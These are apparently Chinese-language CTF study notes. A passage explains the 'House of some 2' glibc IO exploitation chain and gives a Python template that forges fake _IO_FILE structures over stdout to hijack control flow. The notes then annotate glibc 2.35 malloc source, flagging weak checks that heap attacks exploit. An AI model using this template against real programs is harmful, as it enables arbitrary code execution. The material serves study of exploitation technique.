0%

House of some 2学习笔记

对于无法exit或者正常返回是无法触发_IO_flush_all_lockp的

需要中间的函数IO流进行调用

针对printf和puts函数的IO流,能够挟持stdout指针或者_IO_2_1_stdout结构体,就可以触发house of some 2

调用链:

利用比较复杂,混合了三条链,需要掌握underflow、default_xsgetn、default_xsputn以及_IO_wfile_underflow_maybe_mmap

调用链0:挟持puts等IO流输出函数的xsputn,挟持为_IO_wfile_underflow_maybe_mmap进入控制流

调用链/过程:

_IO_wfile_underflow_maybe_mmap(fp)

→→ _IO_file_underflow_maybe_mmap(fp)

→→→ decide_maybe_mmap(fp)

→→→→ write(无用)

→→→ _IO_UNDERFLOW
→→→→ SYS_READ(stdout) 覆写stdout然后控制wfile_jumps再次为wfile_underflow_maybe_m…

→→ _IO_wfile_underflow_maybe_mmap(fp)

→→→ _IO_file_underflow_maybe_mmap(fp)

→→→→ decide_maybe_mmap(fp)

→→→→→ _IO_default_xsputn 由于上面的mmap是wfile进来的,而这里的stat挟持依赖于IO_vtable,所以可以挟持为任意东西,这里的思路是挟持栈内数据然后修改后再放回去

→→→→ _IO_UNDERFLOW

→→→→→ SYS_READ(stdout)

→→→ _IO_wfile_underflow_maybe_mmap(fp)

→→→→ _IO_file_underflow_maybe_mmap(fp)

→→→→→ decide_maybe_mmap(fp)

→→→→→→ _IO_default_xsgetn 放回去之后的underflow要尽快退出利用ret挟持栈

→→→→→ _IO_UNDERFLOW

→→→→ 0xdeadbeef

其中最后过程的rdx可通过offset字段控制

模板:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
_IO_wfile_underflow_maybe_mmap = libc_base + 0x7e7b04816f40 - 0x7e7b04600000
_IO_str_jumps = libc_base + 0x7363f02176c0 - 0x7363f0000000
_IO_default_xsputn = _IO_str_jumps + 0x38
_IO_default_xsgetn = _IO_str_jumps + 0x40

fake_IO_FILE = IO_FILE_plus_struct()
fake_IO_FILE._IO_buf_base = libc_base + libc.sym['_IO_2_1_stdout_']
fake_IO_FILE._IO_buf_end = libc_base + libc.sym['_IO_2_1_stdout_'] + 0xe0*2 + 0x8
fake_IO_FILE.flags = 0x8000 | 0x40 | 0x1000
fake_IO_FILE.vtable = _IO_wfile_underflow_maybe_mmap - 0x18
fake_IO_FILE._wide_data = libc_base + libc.sym['_IO_2_1_stdout_'] + 0xe0 # set _wide_data to next + 0xe0
fake_IO_FILE._mode = 0xffffffff
fake_IO_FILE._offset = 0x0 # control rdx

pad = bytes(fake_IO_FILE)

edit(0xe0, libc_base + libc.sym['_IO_2_1_stdout_'], flat([
pad
]))

fake_IO_FILE = IO_FILE_plus_struct()
fake_IO_FILE.flags = 0x8000 | 0x40 | 0x1000
fake_IO_FILE._IO_write_ptr = libc_base + libc.sym['_IO_2_1_stdout_'] - 0xe0*2
fake_IO_FILE._IO_write_end = libc_base + libc.sym['_IO_2_1_stdout_']
fake_IO_FILE._IO_buf_base = libc_base + libc.sym['_IO_2_1_stdout_'] - 0xf8 # change everytime the offset to RIP, change this!!!!!!!!!
fake_IO_FILE._IO_buf_end = libc_base + libc.sym['_IO_2_1_stdout_'] + 0xe0*2 + 0x8 # cover the wide_data_vtable
fake_IO_FILE._IO_read_ptr = libc_base + libc.sym['_IO_2_1_stdout_'] + 0xe0 * 3 # anywhere can write
fake_IO_FILE.vtable = _IO_default_xsputn - 0x90
fake_IO_FILE._wide_data = libc_base + libc.sym['_IO_2_1_stdout_'] + 0xe0 # next + 0xe0
fake_IO_FILE._mode = 0xffffffff
fake_IO_FILE._offset = 0x0 # control rdx

s(flat([
bytes(fake_IO_FILE), b'\x00'*0xe0, _IO_wfile_underflow_maybe_mmap
]))

fake_IO_FILE = IO_FILE_plus_struct()
fake_IO_FILE.flags = 0x0010 # the way to ret quick when enter underflow
fake_IO_FILE._IO_buf_base = libc_base + libc.sym['_IO_2_1_stdout_'] - 0xf8 # change everytime the offset to RIP, change this!!!!!!!!!
fake_IO_FILE._IO_buf_end = libc_base + libc.sym['_IO_2_1_stdout_'] + 0xe0*2 + 0x8 # cover the wide_data_vtable
fake_IO_FILE.vtable = _IO_default_xsgetn - 0x90
fake_IO_FILE._wide_data = libc_base + libc.sym['_IO_2_1_stdout_'] + 0xe0 # next + 0xe0
fake_IO_FILE._mode = 0xffffffff
fake_IO_FILE._IO_read_ptr = libc_base + libc.sym['_IO_2_1_stdout_'] - 0xe0*2
fake_IO_FILE._IO_read_end = libc_base + libc.sym['_IO_2_1_stdout_'] - 0xa8
fake_IO_FILE._offset = 0x0 # control rdx

s(flat([
0xdeadbeef, b'\x00'*0xf0, bytes(fake_IO_FILE), b'\x00'*0xe0, _IO_wfile_underflow_maybe_mmap
]))

流程图偷csome:

Untitled

_IO_2_1_stdout_ 附近布局如下:

Untitled

理论上只要挟持了IO结构体,然后进入了IO流,能够挟持到_IO_wfile_underflow_maybe_mmap 就能触发整个攻击流程

鉴定为无法利用_IO_flush_all_lockp触发,因为第二次刷新了

Malloc源码分析

重点关注各种bin的问题,了解熟悉堆基础结构,示例代码是2.35_3.7version

__libc_malloc

malloc实则调用__libc_malloc

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
#if IS_IN (libc)
void *
__libc_malloc (size_t bytes)
{
mstate ar_ptr;
void *victim;

_Static_assert (PTRDIFF_MAX <= SIZE_MAX / 2,
"PTRDIFF_MAX is not more than half of SIZE_MAX");

if (!__malloc_initialized) // 如果堆没初始化
ptmalloc_init (); // 初始化
#if USE_TCACHE
/* int_free also calls request2size, be careful to not pad twice. */
size_t tbytes;
if (!checked_request2size (bytes, &tbytes)) // 判断size不能太小
{
__set_errno (ENOMEM);
return NULL;
}
size_t tc_idx = csize2tidx (tbytes); // size to tcache idx

MAYBE_INIT_TCACHE (); // tcache初始化有关

DIAG_PUSH_NEEDS_COMMENT;
if (tc_idx < mp_.tcache_bins // 类似fastbin max
&& tcache // 在找tcache
&& tcache->counts[tc_idx] > 0)
{
victim = tcache_get (tc_idx); // 获得chunk
return tag_new_usable (victim);
}
DIAG_POP_NEEDS_COMMENT;
#endif

if (SINGLE_THREAD_P) // 没有启用多线程情况下
{
victim = tag_new_usable (_int_malloc (&main_arena, bytes));
assert (!victim || chunk_is_mmapped (mem2chunk (victim)) ||
&main_arena == arena_for_chunk (mem2chunk (victim)));
return victim;
}

arena_get (ar_ptr, bytes); // 获得可用的main_arena

victim = _int_malloc (ar_ptr, bytes); // _int_malloc获得堆块
/* Retry with another arena only if we were able to find a usable arena
before. */
if (!victim && ar_ptr != NULL)
{
LIBC_PROBE (memory_malloc_retry, 1, bytes);
ar_ptr = arena_get_retry (ar_ptr, bytes);
victim = _int_malloc (ar_ptr, bytes);
}

if (ar_ptr != NULL) // 需要解线程锁
__libc_lock_unlock (ar_ptr->mutex);

victim = tag_new_usable (victim);

/*
#define arena_for_chunk(ptr) \
(chunk_non_main_arena (ptr) ? heap_for_ptr (ptr)->ar_ptr : &main_arena)

过以下检测需要满足的要求,只需满足一条即可
1. victim 为 0
2. IS_MMAPPED 为 1
3. NON_MAIN_ARENA 为 0
*/

assert (!victim || chunk_is_mmapped (mem2chunk (victim)) || // 判断是否有 或者是mmap出来的
ar_ptr == arena_for_chunk (mem2chunk (victim))); // 检查
return victim;
}

__libc_malloc函数进行了如下步骤

  1. 判断堆是否初始化了,如果没有,则去初始化

  2. 判断size是否合理,不能太小

  3. 尝试从tcache里面获取

  4. 尝试从__int_malloc调用里获取

这里尝试从tcache里面获取细节:

1
2
3
4
5
6
7
8
9
10
11
12
size_t tc_idx = csize2tidx (tbytes); // size to tcache idx

MAYBE_INIT_TCACHE (); // tcache初始化有关

DIAG_PUSH_NEEDS_COMMENT;
if (tc_idx < mp_.tcache_bins // 类似fastbin max
&& tcache // 在找tcache
&& tcache->counts[tc_idx] > 0)
{
victim = tcache_get (tc_idx); // 获得chunk
return tag_new_usable (victim);
}

可见堆取出来的tcache是没有多余检查的,重点在于查看tcache→counts是否有空位,有空位可以直接取出来。

_int_malloc

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
84
85
86
87
88
89
90
91
92
93
94
95
96
97
98
99
100
101
102
103
104
105
106
107
108
109
110
111
112
113
114
115
116
117
118
119
120
121
122
123
124
125
126
127
128
129
130
131
132
133
134
135
136
137
138
139
140
141
142
143
144
145
146
147
148
149
150
151
152
153
154
155
156
157
158
159
160
161
162
163
164
165
166
167
168
169
170
171
172
173
174
175
176
177
178
179
180
181
182
183
184
185
186
187
188
189
190
191
192
193
194
195
196
197
198
199
200
201
202
203
204
205
206
207
208
209
210
211
212
213
214
215
216
217
218
219
220
221
222
223
224
225
226
227
228
229
230
231
232
233
234
235
236
237
238
239
240
241
242
243
244
245
246
247
248
249
250
251
252
253
254
255
256
257
258
259
260
261
262
263
264
265
266
267
268
269
270
271
272
273
274
275
276
277
278
279
280
281
282
283
284
285
286
287
288
289
290
291
292
293
294
295
296
297
298
299
300
301
302
303
304
305
306
307
308
309
310
311
312
313
314
315
316
317
318
319
320
321
322
323
324
325
326
327
328
329
330
331
332
333
334
335
336
337
338
339
340
341
342
343
344
345
346
347
348
349
350
351
352
353
354
355
356
357
358
359
360
361
362
363
364
365
366
367
368
369
370
371
372
373
374
375
376
377
378
379
380
381
382
383
384
385
386
387
388
389
390
391
392
393
394
395
396
397
398
399
400
401
402
403
404
405
406
407
408
409
410
411
412
413
414
415
416
417
418
419
420
421
422
423
424
425
426
427
428
429
430
431
432
433
434
435
436
437
438
439
440
441
442
443
444
445
446
447
448
449
450
451
452
453
454
455
456
457
458
459
460
461
462
463
464
465
466
467
468
469
470
471
472
473
474
475
476
477
478
479
480
481
482
483
484
485
486
487
488
489
490
491
492
493
494
495
496
497
498
499
500
501
502
503
504
505
506
507
508
509
510
511
512
513
514
515
516
517
518
519
520
521
522
523
524
525
526
527
528
529
530
531
532
533
534
535
536
537
538
539
540
541
542
543
544
545
546
547
548
549
550
551
552
553
554
555
556
557
558
559
560
561
562
563
564
565
566
567
568
569
570
571
572
573
574
575
576
577
578
579
580
581
582
583
584
585
586
587
588
589
590
591
592
593
594
595
596
597
598
599
600
601
602
603
604
605
606
607
608
609
610
611
612
613
614
615
616
617
618
619
620
621
622
623
624
625
626
627
628
629
630
631
632
633
634
635
636
637
638
639
640
641
642
643
644
645
646
647
648
649
650
651
652
653
654
static void *
_int_malloc (mstate av, size_t bytes)
{
INTERNAL_SIZE_T nb; /* normalized request size */
unsigned int idx; /* associated bin index */
mbinptr bin; /* associated bin */

mchunkptr victim; /* inspected/selected chunk */
INTERNAL_SIZE_T size; /* its size */
int victim_index; /* its bin index */

mchunkptr remainder; /* remainder from a split */
unsigned long remainder_size; /* its size */

unsigned int block; /* bit map traverser */
unsigned int bit; /* bit map traverser */
unsigned int map; /* current word of binmap */

mchunkptr fwd; /* misc temp for linking */
mchunkptr bck; /* misc temp for linking */

#if USE_TCACHE
size_t tcache_unsorted_count; /* count of unsorted chunks processed */
#endif

/*
Convert request size to internal form by adding SIZE_SZ bytes
overhead plus possibly more to obtain necessary alignment and/or
to obtain a size of at least MINSIZE, the smallest allocatable
size. Also, checked_request2size returns false for request sizes
that are so large that they wrap around zero when padded and
aligned.
*/

if (!checked_request2size (bytes, &nb))
{
__set_errno (ENOMEM);
return NULL;
}

/* There are no usable arenas. Fall back to sysmalloc to get a chunk from
mmap. */
if (__glibc_unlikely (av == NULL)) // 如果av没有 调用sysmalloc通过mmap分配chunk并返回
{
void *p = sysmalloc (nb, av);
if (p != NULL)
alloc_perturb (p, bytes);
return p;
}

/*
If the size qualifies as a fastbin, first check corresponding bin.
This code is safe to execute even if av is not yet initialized, so we
can try it without checking, which saves some time on this fast path.
*/

#define REMOVE_FB(fb, victim, pp) \
do \
{ \
victim = pp; \
if (victim == NULL) \
break; \
pp = REVEAL_PTR (victim->fd); \
if (__glibc_unlikely (pp != NULL && misaligned_chunk (pp))) \
malloc_printerr ("malloc(): unaligned fastbin chunk detected"); \
} \
while ((pp = catomic_compare_and_exchange_val_acq (fb, pp, victim)) \
!= victim); \

if ((unsigned long) (nb) <= (unsigned long) (get_max_fast ())) // 判断是否在fastbin内
{
idx = fastbin_index (nb); // 获得对应idx
mfastbinptr *fb = &fastbin (av, idx); // 获得对应指针
mchunkptr pp;
victim = *fb;

if (victim != NULL) // 开始在这个fastbinY里面摁找
{
if (__glibc_unlikely (misaligned_chunk (victim))) // 会校验内存是否对齐
malloc_printerr ("malloc(): unaligned fastbin chunk detected 2");

if (SINGLE_THREAD_P) // 如果是单线程模式 直接REVEAL_PTR获得原始指针并赋值给fb
*fb = REVEAL_PTR (victim->fd);
else
REMOVE_FB (fb, pp, victim); // 也是一样的道理
if (__glibc_likely (victim != NULL)) // 如果找到了
{
size_t victim_idx = fastbin_index (chunksize (victim)); // 先获得idx
if (__builtin_expect (victim_idx != idx, 0)) // idx是否对的上(也就是相当于校验了size)
malloc_printerr ("malloc(): memory corruption (fast)");
check_remalloced_chunk (av, victim, nb); // 给DEBUG用的
#if USE_TCACHE
/* While we're here, if we see other chunks of the same size,
stash them in the tcache. */
size_t tc_idx = csize2tidx (nb); // 如果同时开启了tcache 获得对应tcache idx
if (tcache && tc_idx < mp_.tcache_bins) // 如果合理
{
mchunkptr tc_victim;

/* While bin not empty and tcache not full, copy chunks. */
while (tcache->counts[tc_idx] < mp_.tcache_count
&& (tc_victim = *fb) != NULL)
{
if (__glibc_unlikely (misaligned_chunk (tc_victim)))
malloc_printerr ("malloc(): unaligned fastbin chunk detected 3");
if (SINGLE_THREAD_P)
*fb = REVEAL_PTR (tc_victim->fd);
else
{
REMOVE_FB (fb, pp, tc_victim);
if (__glibc_unlikely (tc_victim == NULL))
break;
}
tcache_put (tc_victim, tc_idx); // 将剩下的tcache丢到fastbin里 里面几乎没有校验 如果修改了fastbin fd然后申请到这里 fastbin丢到了tcache 是否实现了漏洞利用
}
}
#endif
void *p = chunk2mem (victim);
alloc_perturb (p, bytes);
return p;
}
}
}

/*
If a small request, check regular bin. Since these "smallbins"
hold one size each, no searching within bins is necessary.
(For a large request, we need to wait until unsorted chunks are
processed to find best fit. But for small ones, fits are exact
anyway, so we can check now, which is faster.)
*/

if (in_smallbin_range (nb)) // 如果在smallbin范围内
{
idx = smallbin_index (nb); // 获得对应idx
bin = bin_at (av, idx); // 获得指针bin

if ((victim = last (bin)) != bin) // 因为是双向链表 所以直接搜索
{
bck = victim->bk; // 它的后一位
if (__glibc_unlikely (bck->fd != victim)) // fd校验
malloc_printerr ("malloc(): smallbin double linked list corrupted");
set_inuse_bit_at_offset (victim, nb); // 设置victim的inuse位
bin->bk = bck; // 取出smallbin对应bin链表的第一位
bck->fd = bin;

if (av != &main_arena) // 如果不是主线程
set_non_main_arena (victim); // 设置为不是主线程的堆块
check_malloced_chunk (av, victim, nb); // for debug
#if USE_TCACHE
/* While we're here, if we see other chunks of the same size,
stash them in the tcache. */
size_t tc_idx = csize2tidx (nb);
if (tcache && tc_idx < mp_.tcache_bins)
{
mchunkptr tc_victim;

/* While bin not empty and tcache not full, copy chunks over. */
while (tcache->counts[tc_idx] < mp_.tcache_count
&& (tc_victim = last (bin)) != bin)
{
if (tc_victim != 0)
{
bck = tc_victim->bk;
set_inuse_bit_at_offset (tc_victim, nb);
if (av != &main_arena)
set_non_main_arena (tc_victim);
bin->bk = bck;
bck->fd = bin;
/* While bin not empty and tcache not full, copy chunks over. */
tcache_put (tc_victim, tc_idx); // 和fastbin里面同样的思路
}
}
}
#endif
void *p = chunk2mem (victim);
alloc_perturb (p, bytes);
return p;
}
}

/*
If this is a large request, consolidate fastbins before continuing.
While it might look excessive to kill all fastbins before
even seeing if there is space available, this avoids
fragmentation problems normally associated with fastbins.
Also, in practice, programs tend to have runs of either small or
large requests, but less often mixtures, so consolidation is not
invoked all that often in most programs. And the programs that
it is called frequently in otherwise tend to fragment.
*/

else
{
idx = largebin_index (nb);
if (atomic_load_relaxed (&av->have_fastchunks))
malloc_consolidate (av); // 对fastbin chunks进行consolidate先
}

/*
Process recently freed or remaindered chunks, taking one only if
it is exact fit, or, if this a small request, the chunk is remainder from
the most recent non-exact fit. Place other traversed chunks in
bins. Note that this step is the only place in any routine where
chunks are placed in bins.

The outer loop here is needed because we might not realize until
near the end of malloc that we should have consolidated, so must
do so and retry. This happens at most once, and only when we would
otherwise need to expand memory to service a "small" request.
*/

#if USE_TCACHE
INTERNAL_SIZE_T tcache_nb = 0;
size_t tc_idx = csize2tidx (nb);
if (tcache && tc_idx < mp_.tcache_bins)
tcache_nb = nb;
int return_cached = 0;

tcache_unsorted_count = 0;
#endif

for (;; )
{
int iters = 0;
while ((victim = unsorted_chunks (av)->bk) != unsorted_chunks (av)) // 取unsorted bin
{
bck = victim->bk;
size = chunksize (victim);
mchunkptr next = chunk_at_offset (victim, size);

/*
1. 检验size大小是否合理
2. 检验下一个chunk的size大小是否合理
3. 检验下一个chunk的presize是否等于当前的size
4. 检验bck->fd和victim->fd
5. 检验下一个chunk的pre_inuse位
*/

if (__glibc_unlikely (size <= CHUNK_HDR_SZ) // 检验
|| __glibc_unlikely (size > av->system_mem))
malloc_printerr ("malloc(): invalid size (unsorted)");
if (__glibc_unlikely (chunksize_nomask (next) < CHUNK_HDR_SZ)
|| __glibc_unlikely (chunksize_nomask (next) > av->system_mem))
malloc_printerr ("malloc(): invalid next size (unsorted)");
if (__glibc_unlikely ((prev_size (next) & ~(SIZE_BITS)) != size))
malloc_printerr ("malloc(): mismatching next->prev_size (unsorted)");
if (__glibc_unlikely (bck->fd != victim)
|| __glibc_unlikely (victim->fd != unsorted_chunks (av)))
malloc_printerr ("malloc(): unsorted double linked list corrupted");
if (__glibc_unlikely (prev_inuse (next)))
malloc_printerr ("malloc(): invalid next->prev_inuse (unsorted)");

/*
If a small request, try to use last remainder if it is the
only chunk in unsorted bin. This helps promote locality for
runs of consecutive small requests. This is the only
exception to best-fit, and applies only when there is
no exact fit for a small chunk.
*/
// 对unsortedbin里面的chunk进行拆分
if (in_smallbin_range (nb) && // 在small bin范围内
bck == unsorted_chunks (av) && // victim必须是unsortedbin里面唯一的chunk
victim == av->last_remainder && // victim在last_remainder里面
(unsigned long) (size) > (unsigned long) (nb + MINSIZE)) // victim要大于申请长度+0x20
{
/* split and reattach remainder */
remainder_size = size - nb;
remainder = chunk_at_offset (victim, nb); // 获得切分后的remainder
unsorted_chunks (av)->bk = unsorted_chunks (av)->fd = remainder; // remainder加入到unsortedbin里面
av->last_remainder = remainder; // 记录last_remainder
remainder->bk = remainder->fd = unsorted_chunks (av);
if (!in_smallbin_range (remainder_size)) // 如果在largebin范围内 需要清空fd_nextsize和bk_nextsize
{
remainder->fd_nextsize = NULL;
remainder->bk_nextsize = NULL;
}
// 设置remainder的状态位 以及 victim的状态位
set_head (victim, nb | PREV_INUSE |
(av != &main_arena ? NON_MAIN_ARENA : 0));
set_head (remainder, remainder_size | PREV_INUSE);
set_foot (remainder, remainder_size);

check_malloced_chunk (av, victim, nb); // DEBUG的时候才有用
void *p = chunk2mem (victim); // 获得指向user_data的指针
alloc_perturb (p, bytes); // 如果设置了perturb_type,将chunk的user data初始化为perturb_type ^ 0xff
return p;
}
// 将chunk从unsortedb bin 中移除,如果大小合适,直接返回给用户
/* remove from unsorted list */
if (__glibc_unlikely (bck->fd != victim))
malloc_printerr ("malloc(): corrupted unsorted chunks 3");
unsorted_chunks (av)->bk = bck;
bck->fd = unsorted_chunks (av);

/* Take now instead of binning if exact fit */

if (size == nb) // 如果大小正合适
{
set_inuse_bit_at_offset (victim, size);
if (av != &main_arena)
set_non_main_arena (victim);
#if USE_TCACHE
/* Fill cache first, return to user only if cache fills.
We may return one of these chunks later. */
if (tcache_nb // 优先填满cache
&& tcache->counts[tc_idx] < mp_.tcache_count)
{
tcache_put (victim, tc_idx);
return_cached = 1;
continue;
}
else
{
#endif
check_malloced_chunk (av, victim, nb);
void *p = chunk2mem (victim);
alloc_perturb (p, bytes);
return p;
#if USE_TCACHE
}
#endif
}

/* place chunk in bin */
// 大小不合适要将chunk丢到适应的bin 也就是unsortedbin 2 largebin
if (in_smallbin_range (size))
{
victim_index = smallbin_index (size);
bck = bin_at (av, victim_index);
fwd = bck->fd; // 这里是没有校验的 如果能够修改到smallbin的fd 这里就可以控制fwd
}
else
{
victim_index = largebin_index (size);
bck = bin_at (av, victim_index);
fwd = bck->fd;

/* maintain large bins in sorted order */
if (fwd != bck)
{
/* Or with inuse bit to speed comparisons */
size |= PREV_INUSE;
/* if smaller than smallest, bypass loop below */
assert (chunk_main_arena (bck->bk));
if ((unsigned long) (size)
< (unsigned long) chunksize_nomask (bck->bk)) // 如果小于当前chunk的最小size,那就加入它 -> large bin attack
{
fwd = bck;
bck = bck->bk;

victim->fd_nextsize = fwd->fd;
victim->bk_nextsize = fwd->fd->bk_nextsize; // 这里导致的
fwd->fd->bk_nextsize = victim->bk_nextsize->fd_nextsize = victim;
}
else // 不然就根据fd_nextsize找到不比它大的chunk
{
assert (chunk_main_arena (fwd));
while ((unsigned long) size < chunksize_nomask (fwd))
{
fwd = fwd->fd_nextsize;
assert (chunk_main_arena (fwd));
}

if ((unsigned long) size
== (unsigned long) chunksize_nomask (fwd))
/* Always insert in the second position. */
fwd = fwd->fd;
else
{
victim->fd_nextsize = fwd;
victim->bk_nextsize = fwd->bk_nextsize;
if (__glibc_unlikely (fwd->bk_nextsize->fd_nextsize != fwd))
malloc_printerr ("malloc(): largebin double linked list corrupted (nextsize)");
fwd->bk_nextsize = victim;
victim->bk_nextsize->fd_nextsize = victim;
}
bck = fwd->bk;
if (bck->fd != fwd)
malloc_printerr ("malloc(): largebin double linked list corrupted (bk)");
}
}
else
victim->fd_nextsize = victim->bk_nextsize = victim;
}

mark_bin (av, victim_index);
victim->bk = bck;
victim->fd = fwd;
fwd->bk = victim; // 这里就能attack
bck->fd = victim;

#if USE_TCACHE
/* If we've processed as many chunks as we're allowed while
filling the cache, return one of the cached ones. */
++tcache_unsorted_count;
if (return_cached
&& mp_.tcache_unsorted_limit > 0
&& tcache_unsorted_count > mp_.tcache_unsorted_limit)
{
return tcache_get (tc_idx);
}
#endif

#define MAX_ITERS 10000
if (++iters >= MAX_ITERS)
break;
}

#if USE_TCACHE
/* If all the small chunks we found ended up cached, return one now. */
if (return_cached) // 这里拿回来
{
return tcache_get (tc_idx);
}
#endif

/*
If a large request, scan through the chunks of current bin in
sorted order to find smallest that fits. Use the skip list for this.
*/

if (!in_smallbin_range (nb)) // 如果申请的是Large chunk就搜寻large bin
{
bin = bin_at (av, idx);

/* skip scan if empty or largest chunk is too small */
if ((victim = first (bin)) != bin // 如果对应的largebin不为空
&& (unsigned long) chunksize_nomask (victim)
>= (unsigned long) (nb)) // 而且大小符合 找到第一个不小于申请大小的largebin chunk
{
victim = victim->bk_nextsize;
while (((unsigned long) (size = chunksize (victim)) <
(unsigned long) (nb)))
victim = victim->bk_nextsize;

/* Avoid removing the first entry for a size so that the skip
list does not have to be rerouted. */
if (victim != last (bin) // 如果大小一样大
&& chunksize_nomask (victim)
== chunksize_nomask (victim->fd))
victim = victim->fd; // 直接改动fd的chunk 而不需要东nextsize指针

remainder_size = size - nb; // 看看剩下多少size
unlink_chunk (av, victim);

/* Exhaust */
if (remainder_size < MINSIZE)
{
set_inuse_bit_at_offset (victim, size);
if (av != &main_arena)
set_non_main_arena (victim);
}
/* Split */
else // 切割后丢到unsorted bin里
{
remainder = chunk_at_offset (victim, nb);
/* We cannot assume the unsorted list is empty and therefore
have to perform a complete insert here. */
bck = unsorted_chunks (av);
fwd = bck->fd;
if (__glibc_unlikely (fwd->bk != bck))
malloc_printerr ("malloc(): corrupted unsorted chunks");
remainder->bk = bck;
remainder->fd = fwd;
bck->fd = remainder;
fwd->bk = remainder;
if (!in_smallbin_range (remainder_size))
{
remainder->fd_nextsize = NULL;
remainder->bk_nextsize = NULL;
}
set_head (victim, nb | PREV_INUSE |
(av != &main_arena ? NON_MAIN_ARENA : 0));
set_head (remainder, remainder_size | PREV_INUSE);
set_foot (remainder, remainder_size);
}
check_malloced_chunk (av, victim, nb);
void *p = chunk2mem (victim);
alloc_perturb (p, bytes);
return p;
}
}

/*
Search for a chunk by scanning bins, starting with next largest
bin. This search is strictly by best-fit; i.e., the smallest
(with ties going to approximately the least recently used) chunk
that fits is selected.

The bitmap avoids needing to check that most blocks are nonempty.
The particular case of skipping all bins during warm-up phases
when no chunks have been returned yet is faster than it might look.
*/
// 通过bitmap来搜寻bin 一个bitmap能够检查32个bin
++idx;
bin = bin_at (av, idx);
block = idx2block (idx);
map = av->binmap[block];
bit = idx2bit (idx);

for (;; )
{
/* Skip rest of block if there are no more set bits in this block. */
if (bit > map || bit == 0)
{
do
{
if (++block >= BINMAPSIZE) /* out of bins */
goto use_top;
} // 找到block不为空的最小bin的对应bit
while ((map = av->binmap[block]) == 0);

bin = bin_at (av, (block << BINMAPSHIFT));
bit = 1;
}

/* Advance to bin with set bit. There must be one. */
while ((bit & map) == 0)
{
bin = next_bin (bin);
bit <<= 1;
assert (bit != 0);
}

/* Inspect the bin. It is likely to be non-empty */
victim = last (bin);

/* If a false alarm (empty bin), clear the bit. */
if (victim == bin)
{
av->binmap[block] = map &= ~bit; /* Write through */
bin = next_bin (bin);
bit <<= 1;
}

else
{
size = chunksize (victim);

/* We know the first chunk in this bin is big enough to use. */
assert ((unsigned long) (size) >= (unsigned long) (nb));

remainder_size = size - nb;

/* unlink */
unlink_chunk (av, victim);

/* Exhaust */
if (remainder_size < MINSIZE)
{
set_inuse_bit_at_offset (victim, size);
if (av != &main_arena)
set_non_main_arena (victim);
}

/* Split */
else
{
remainder = chunk_at_offset (victim, nb);

/* We cannot assume the unsorted list is empty and therefore
have to perform a complete insert here. */
bck = unsorted_chunks (av);
fwd = bck->fd;
if (__glibc_unlikely (fwd->bk != bck))
malloc_printerr ("malloc(): corrupted unsorted chunks 2");
remainder->bk = bck;
remainder->fd = fwd;
bck->fd = remainder;
fwd->bk = remainder;

/* advertise as last remainder */
if (in_smallbin_range (nb))
av->last_remainder = remainder;
if (!in_smallbin_range (remainder_size))
{
remainder->fd_nextsize = NULL;
remainder->bk_nextsize = NULL;
}
set_head (victim, nb | PREV_INUSE |
(av != &main_arena ? NON_MAIN_ARENA : 0));
set_head (remainder, remainder_size | PREV_INUSE);
set_foot (remainder, remainder_size);
}
check_malloced_chunk (av, victim, nb);
void *p = chunk2mem (victim);
alloc_perturb (p, bytes);
return p;
}
}

use_top: // 从top_chunk切割
/*
If large enough, split off the chunk bordering the end of memory
(held in av->top). Note that this is in accord with the best-fit
search rule. In effect, av->top is treated as larger (and thus
less well fitting) than any other available chunk since it can
be extended to be as large as necessary (up to system
limitations).

We require that av->top always exists (i.e., has size >=
MINSIZE) after initialization, so if it would otherwise be
exhausted by current request, it is replenished. (The main
reason for ensuring it exists is that we may need MINSIZE space
to put in fenceposts in sysmalloc.)
*/

victim = av->top;
size = chunksize (victim);

if (__glibc_unlikely (size > av->system_mem))
malloc_printerr ("malloc(): corrupted top size");

if ((unsigned long) (size) >= (unsigned long) (nb + MINSIZE))
{
remainder_size = size - nb;
remainder = chunk_at_offset (victim, nb);
av->top = remainder;
set_head (victim, nb | PREV_INUSE |
(av != &main_arena ? NON_MAIN_ARENA : 0));
set_head (remainder, remainder_size | PREV_INUSE);

check_malloced_chunk (av, victim, nb);
void *p = chunk2mem (victim);
alloc_perturb (p, bytes);
return p;
}

/* When we are using atomic ops to free fast chunks we can get
here for all block sizes. */
else if (atomic_load_relaxed (&av->have_fastchunks)) // 如果有fastbin需要整理
{
malloc_consolidate (av);
/* restore original bin index */
if (in_smallbin_range (nb))
idx = smallbin_index (nb);
else
idx = largebin_index (nb);
}

/*
Otherwise, relay to handle system-dependent cases
*/
else // top chunk大小不够需要sysmalloc函数进行分配
{
void *p = sysmalloc (nb, av);
if (p != NULL)
alloc_perturb (p, bytes);
return p;
}
}
}

_int_malloc里面做了如下步骤:

  1. 对于满足fastbin进行处理,如果找到了需要将多的fastbin丢到tcache里面

  2. 对于满足smallbin进行处理,如果找到了需要将多的smallbin丢到tcache里面

  3. 如果1.2都不满足,需要将fastbin进行malloc_consolidate操作,也就是向前向后merge操作

  4. 在unsortedbin里面找寻满足要求的堆块,如果满足small chunk大小而且unsortedbin里面只有一个,而且是last_remainder,尝试切割,如果可以切割就返回给用户,不能切割就将unsortedbin 丢到largebin或者smallbin里面

  5. 在large bin里面寻找合适的堆块

  6. 通过bitmap寻找chunk

  7. 最后都不满足则从top_chunk里面切割

细节:

尝试从fastbin里面获取

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
#define REMOVE_FB(fb, victim, pp)			\
do \
{ \
victim = pp; \
if (victim == NULL) \
break; \
pp = REVEAL_PTR (victim->fd); \
if (__glibc_unlikely (pp != NULL && misaligned_chunk (pp))) \
malloc_printerr ("malloc(): unaligned fastbin chunk detected"); \
} \
